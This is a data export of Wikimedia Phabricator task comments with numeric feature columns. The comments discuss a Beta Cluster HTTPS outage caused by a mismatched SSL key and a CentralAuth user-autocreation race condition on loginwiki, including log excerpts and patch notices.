FWIW I'm about 90% sure that https to beta labs worked in eqiad.  My browser autocompletion URLs for Flow pages on beta were all https and I had a forceHTTPS cookie for beta labs, and as I recall it worked fine until 2-3 weeks ago.  I had to manually remove the cookie in order to login and now I'm OK."
318603,Beta Cluster no longer listens for HTTPS,"This has been broken as long as we have been in eqiad as far as I know. role::protoproxy::ssl::beta is used to setup the nginx ssl terminators in front of *.beta.wmflabs.org. That in turn applies role::protoproxy::ssl::beta::common which includes `install_certificate{'star.wmflabs.org': privatekey => false}`. The ""privatekey => false"" bit there tells puppet not to try and manage the ssl private key install. This is done because labs/private.git does not contain the x509 private key for the real *.wmflabs.org cert (for good reason).

To fix it we need to either:
a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].
b) Create a self-signed cert for beta and change puppet
** Put the private key in labs/private/ssl on deployment-salt
** Put the public key in operations/puppet/files/ssl on deployment-salt (or operations/puppet)
** Change role::protoproxy::ssl::beta::common to install the new self-signed cert


[0]: https://wikitech.wikimedia.org/w/index.php?title=Special:Ask&q=%5B%5BResource+Type%3A%3Ainstance%5D%5D%5B%5BPuppet+Class%3A%3Arole%3A%3Aprotoproxy%3A%3Assl%3A%3Abeta%5D%5D&p=format%3Dbroadtable%2Flink%3Dall%2Fheaders%3Dshow%2Fsearchlabel%3D%E2%80%A6-20further-20results%2Fclass%3Dsortable-20wikitable-20smwtable&po=%3FInstance+Name%0A%3FPuppet+Class%0A%3FPuppet+Var%0A&sort=Modification+date&order=DESC&limit=50&eq=no
[1]: https://github.com/wikimedia/operations-puppet/blob/production/files/ssl/star.wmflabs.org.pem",,,1406058509,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,1.0,0.0,2.6666666666666665,8.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.3333333333333333,6.0,0.3333333333333333,1.3333333333333333,6.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,2.0,0.0,1.3333333333333333,8.333333333333334,3.3333333333333335,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,3.8603603603603602,0.6846846846846848,"This has been broken as long as we have been in eqiad as far as I know. role::protoproxy::ssl::beta is used to setup the nginx ssl terminators in front of *.beta.wmflabs.org. That in turn applies role::protoproxy::ssl::beta::common which includes CODE. The ""privatekey => false"" bit there tells puppet not to try and manage the ssl private key install. This is done because labs/private.git does not contain the x509 private key for the real *.wmflabs.org cert (for good reason).

To fix it we need to either:
a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].
b) Create a self-signed cert for beta and change puppet
** Put the private key in labs/private/ssl on deployment-salt
** Put the public key in operations/puppet/files/ssl on deployment-salt (or operations/puppet)
** Change role::protoproxy::ssl::beta::common to install the new self-signed cert


[0]: URL
[1]: URL"
318598,Beta Cluster no longer listens for HTTPS,Apparently broken since April 11 :/,,,1406056735,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Apparently broken since April 11 :/
318595,Beta Cluster no longer listens for HTTPS,"I attempted to start it manually:

# service nginx start
Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
nginx: configuration file /etc/nginx/nginx.conf test failed



I can't remember how we got the SSL keys deployed for beta :-/ Some ops with better knowledge about SSL than me would probably know.",,,1406056201,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,10.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,4.674418604651163,0.7441860465116279,"I attempted to start it manually:

# service nginx start
Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
nginx: configuration file /etc/nginx/nginx.conf test failed



I can't remember how we got the SSL keys deployed for beta :-/ Some ops with better knowledge about SSL than me would probably know."
318590,Beta Cluster no longer listens for HTTPS,"HTTPS is handled using nginx on the varnish server by applying role::protoproxy::ssl::beta

Looking at the puppet run of deployment-cache-text02.eqiad.wmflabs (the text cache) I find:

 Debug: Executing '/etc/init.d/nginx status'

So puppet knows about nginx but for some reason does not start it :-(",,,1406055659,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,5.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,4.763636363636364,0.8363636363636363,"HTTPS is handled using nginx on the varnish server by applying role::protoproxy::ssl::beta

Looking at the puppet run of deployment-cache-text02.eqiad.wmflabs (the text cache) I find:

 Debug: Executing '/etc/init.d/nginx status'

So puppet knows about nginx but for some reason does not start it :-("
70115,experiment with adding back HTTP::Persistent,"Now that we don't have to deal with Cloudbees, investigate using HTTP::Persistent again to help performance.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1405530900,1427800989.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-n4m4w7dbtr6qukyfzci6,task_description,declined,True,c3,1,False,False,True,-51,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,10.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.3076923076923075,0.7435897435897436,"Now that we don't have to deal with Cloudbees, investigate using HTTP::Persistent again to help performance.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
435726,experiment with adding back HTTP::Persistent,I do not plan to work on this any time soon. Please reopen if you would like to see this task done.,,,1427800981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-n4m4w7dbtr6qukyfzci6,task_subcomment,,True,c3,1,True,,,-14,True,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,I do not plan to work on this any time soon. Please reopen if you would like to see this task done.
70012,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"I think this is a race condition of some kind:

2014-07-14 23:44:02 mw1209 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.

For some reason, there were two simultaneous autocreation attempts, one succeeded, and the other of course failed. Here's a scarier one:

2014-07-14 23:44:53 mw1150 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.

This one has 6! attempts, 5 of which fail.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1405383660,1457056180.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-fu6lhqe3kuntohxjirr7,task_description,resolved,True,c3,1,True,False,False,-51,True,0.5,0.0,0.0,0.0,0.0,4.5,0.25,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.25,0.25,0.0,1.75,4.0,0.0,0.0,0.0,0.0,0.0,3.75,0.0,0.25,0.0,0.0,0.0,0.0,1.25,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,2.25,0.5,8.0,0.0,0.25,3.5,0.0,0.0,0.25,0.0,1.5,1.5,15.0,0.0,0.5,4.0,12.0,0.0,0.0,0.0,0.5,0.0,0.25,2.0,0.0,2.0,0.0,0.0,4.0,4.715959595959596,0.42962121212121207,"I think this is a race condition of some kind:

2014-07-14 23:44:02 mw1209 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.

For some reason, there were two simultaneous autocreation attempts, one succeeded, and the other of course failed. Here's a scarier one:

2014-07-14 23:44:53 mw1150 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.
2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
Please choose a different name.

This one has 6! attempts, 5 of which fail.

--------------------------
**Version**: unspecified
**Severity**: normal"
623043,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"The warning disappeared from the logs pretty much the same time the patch was deployed, and no ill effects were reported.",,,1457056180,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,35,True,4.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,9.0,4.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.9130434782608695,"The warning disappeared from the logs pretty much the same time the patch was deployed, and no ill effects were reported."
616825,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 272835 merged by jenkins-bot:
Do not unauthenticate if autocreation fails due to a race

[[https://gerrit.wikimedia.org/r/272835]]",,,1456273045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.88,0.92,"Change 272835 merged by jenkins-bot:
Do not unauthenticate if autocreation fails due to a race

[[GERRIT_URL]]"
616670,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 272835 had a related patch set uploaded (by Gergő Tisza):
Do not unauthenticate if autocreation fails due to a race

[[https://gerrit.wikimedia.org/r/272835]]
",,,1456262662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,3.870967741935484,0.8709677419354839,"Change 272835 had a related patch set uploaded (by Gergő Tisza):
Do not unauthenticate if autocreation fails due to a race

[[GERRIT_URL]]
"
613141,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 271460 merged by jenkins-bot:
Do not unauthenticate if autocreation fails due to a race

[[https://gerrit.wikimedia.org/r/271460]]",,,1455814314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.88,0.92,"Change 271460 merged by jenkins-bot:
Do not unauthenticate if autocreation fails due to a race

[[GERRIT_URL]]"
612656,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 271460 had a related patch set uploaded (by Gergő Tisza):
Do not unauthenticate if autocreation fails due to a race

[[https://gerrit.wikimedia.org/r/271460]]
",,,1455761898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,3.870967741935484,0.8709677419354839,"Change 271460 had a related patch set uploaded (by Gergő Tisza):
Do not unauthenticate if autocreation fails due to a race

[[GERRIT_URL]]
"
612628,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"```
tgr@fluorine:~$ zcat /a/mw-log/archive/CentralAuth-Bug39996.log-20151215.gz | grep 'Username entered already in use.' | wc -l
1681
```
https://logstash.wikimedia.org/#dashboard/temp/AVLx4-B5ptxhN1Xap4QK
1445

So it does not seem like this bug has been significantly affected by SessionManager (and as such it's probably not the reason for T125054). Nevertheless, should be an easy fix.",,,1455757280,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,9.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.8478260869565217,"``CODE``
URL
1445

So it does not seem like this bug has been significantly affected by SessionManager (and as such it's probably not the reason for T125054). Nevertheless, should be an easy fix."
608907,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,">>! In T70012#1141762, @Aklapper wrote:
> Anybody knows if this is still an issue nowadays?

Happens fairly often, yes (on the scale of 1/s). https://logstash.wikimedia.org/#dashboard/temp/AVLTn06zptxhN1XaS38e",,,1455249439,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.95,"QUOTE
QUOTE

Happens fairly often, yes (on the scale of 1/s). URL"
608903,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"What probably happens here is that when the user makes their first login after account creation, CentralAuth displays a bunch of site icons (one for each SUL-enabled second-level domain that's not wikimedia.org, plus one for meta and commons each) which are supposed to preemptively log the user in on sites on that domain. Those images are generated by Special:CentralAuthAutologin on the respective sites, and those first redirect to loginwiki to check that the user is centrally logged in. These requests happen simultaneously and they each trigger autocreation, and that apparently results in race conditions.

Is that's true then there is some user effect from this as the autocreation failure means the user ends up as unauthenticated in that request, so the preemptive autologin fails. Not a big deal because there is still the normal autologin which is triggered when the users visits the given wiki.",,,1455249242,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,32,True,2.0,0.0,0.0,2.0,1.0,5.5,1.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,7.5,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,1.0,0.5,2.5,0.5,0.0,0.0,0.5,0.5,16.5,1.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,7.0,4.5,5.0,3.0,3.5,14.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,12.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.5,4.608433734939759,0.7289156626506024,"What probably happens here is that when the user makes their first login after account creation, CentralAuth displays a bunch of site icons (one for each SUL-enabled second-level domain that's not wikimedia.org, plus one for meta and commons each) which are supposed to preemptively log the user in on sites on that domain. Those images are generated by Special:CentralAuthAutologin on the respective sites, and those first redirect to loginwiki to check that the user is centrally logged in. These requests happen simultaneously and they each trigger autocreation, and that apparently results in race conditions.

Is that's true then there is some user effect from this as the autocreation failure means the user ends up as unauthenticated in that request, so the preemptive autologin fails. Not a big deal because there is still the normal autologin which is triggered when the users visits the given wiki."
431035,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Yes, it is still occurring.",,,1427132334,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.2857142857142856,1.0,"Yes, it is still occurring."
431028,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,">>! In T70012#723577, @Legoktm wrote:
> There's some weird stuff going on here.

Anybody knows if this is still an issue nowadays?",,,1427132222,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-15,True,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9285714285714286,"QUOTE
QUOTE

Anybody knows if this is still an issue nowadays?"
312907,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"There's some weird stuff going on here.

2014-07-15 01:29:15 mw1025 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: failed with message El nombre de usuario indicado ya está en uso.

